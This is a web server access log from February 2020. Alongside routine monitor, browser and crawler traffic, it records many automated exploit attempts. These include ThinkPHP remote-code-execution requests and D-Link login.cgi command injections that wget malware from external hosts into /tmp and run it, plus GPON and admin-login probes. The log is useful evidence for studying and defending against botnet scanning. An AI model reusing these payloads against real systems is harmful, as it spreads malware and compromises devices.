201.86.69.118 - - [09/Feb/2020:13:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:13:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.248.142 - - [09/Feb/2020:13:04:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.95.64 - - [09/Feb/2020:13:05:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.155.133.157 - - [09/Feb/2020:13:06:01 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
88.250.13.161 - - [09/Feb/2020:13:06:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:13:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.108.140 - - [09/Feb/2020:13:08:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.87.87.30 - - [09/Feb/2020:13:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [09/Feb/2020:13:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.106.161.50 - - [09/Feb/2020:13:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
125.128.241.71 - - [09/Feb/2020:13:10:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [09/Feb/2020:13:10:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [09/Feb/2020:13:10:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [09/Feb/2020:13:11:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:13:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [09/Feb/2020:13:11:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.254.206.44 - - [09/Feb/2020:13:11:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.239.207 - - [09/Feb/2020:13:12:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.54.248.247 - - [09/Feb/2020:13:12:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.76.45 - - [09/Feb/2020:13:14:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.0.90.243 - - [09/Feb/2020:13:15:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:13:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.84.16.46 - - [09/Feb/2020:13:17:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.10.236.134 - - [09/Feb/2020:13:19:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:13:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.150.16.31 - - [09/Feb/2020:13:24:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.32.70 - - [09/Feb/2020:13:27:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.62.171 - - [09/Feb/2020:13:29:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.130.142.16 - - [09/Feb/2020:13:29:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
192.162.141.200 - - [09/Feb/2020:13:30:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:13:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [09/Feb/2020:13:31:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [09/Feb/2020:13:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.133.249 - - [09/Feb/2020:13:32:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.167.37 - - [09/Feb/2020:13:34:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.77.167.82 - - [09/Feb/2020:13:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [09/Feb/2020:13:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [09/Feb/2020:13:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
200.13.172.99 - - [09/Feb/2020:13:37:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
200.13.172.99 - - [09/Feb/2020:13:37:21 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
200.13.172.99 - - [09/Feb/2020:13:37:21 +0100] "POST /Admin55f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [09/Feb/2020:13:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
216.244.66.231 - - [09/Feb/2020:13:38:28 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
212.91.246.72 - - [09/Feb/2020:13:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
70.105.222.173 - - [09/Feb/2020:13:40:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
216.244.66.231 - - [09/Feb/2020:13:41:18 +0100] "GET /seiten/partner.htm HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
212.91.246.72 - - [09/Feb/2020:13:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [09/Feb/2020:13:44:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [09/Feb/2020:13:46:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.158.191.155 - - [09/Feb/2020:13:48:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:13:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.80.47 - - [09/Feb/2020:13:50:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.97.121 - - [09/Feb/2020:13:53:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.153.61 - - [09/Feb/2020:13:53:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.239.19.112 - - [09/Feb/2020:13:55:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.102.24.193 - - [09/Feb/2020:13:56:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:13:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.3.166 - - [09/Feb/2020:13:59:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:13:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.193.72 - - [09/Feb/2020:14:01:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.224.101.219 - - [09/Feb/2020:14:03:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.198.129 - - [09/Feb/2020:14:03:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.233.40.185 - - [09/Feb/2020:14:06:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.141.7 - - [09/Feb/2020:14:07:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.6.232.78 - - [09/Feb/2020:14:08:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.157.216.66 - - [09/Feb/2020:14:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:14:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.214.211 - - [09/Feb/2020:14:13:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.203.76.225 - - [09/Feb/2020:14:15:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:14:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.197.105 - - [09/Feb/2020:14:16:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
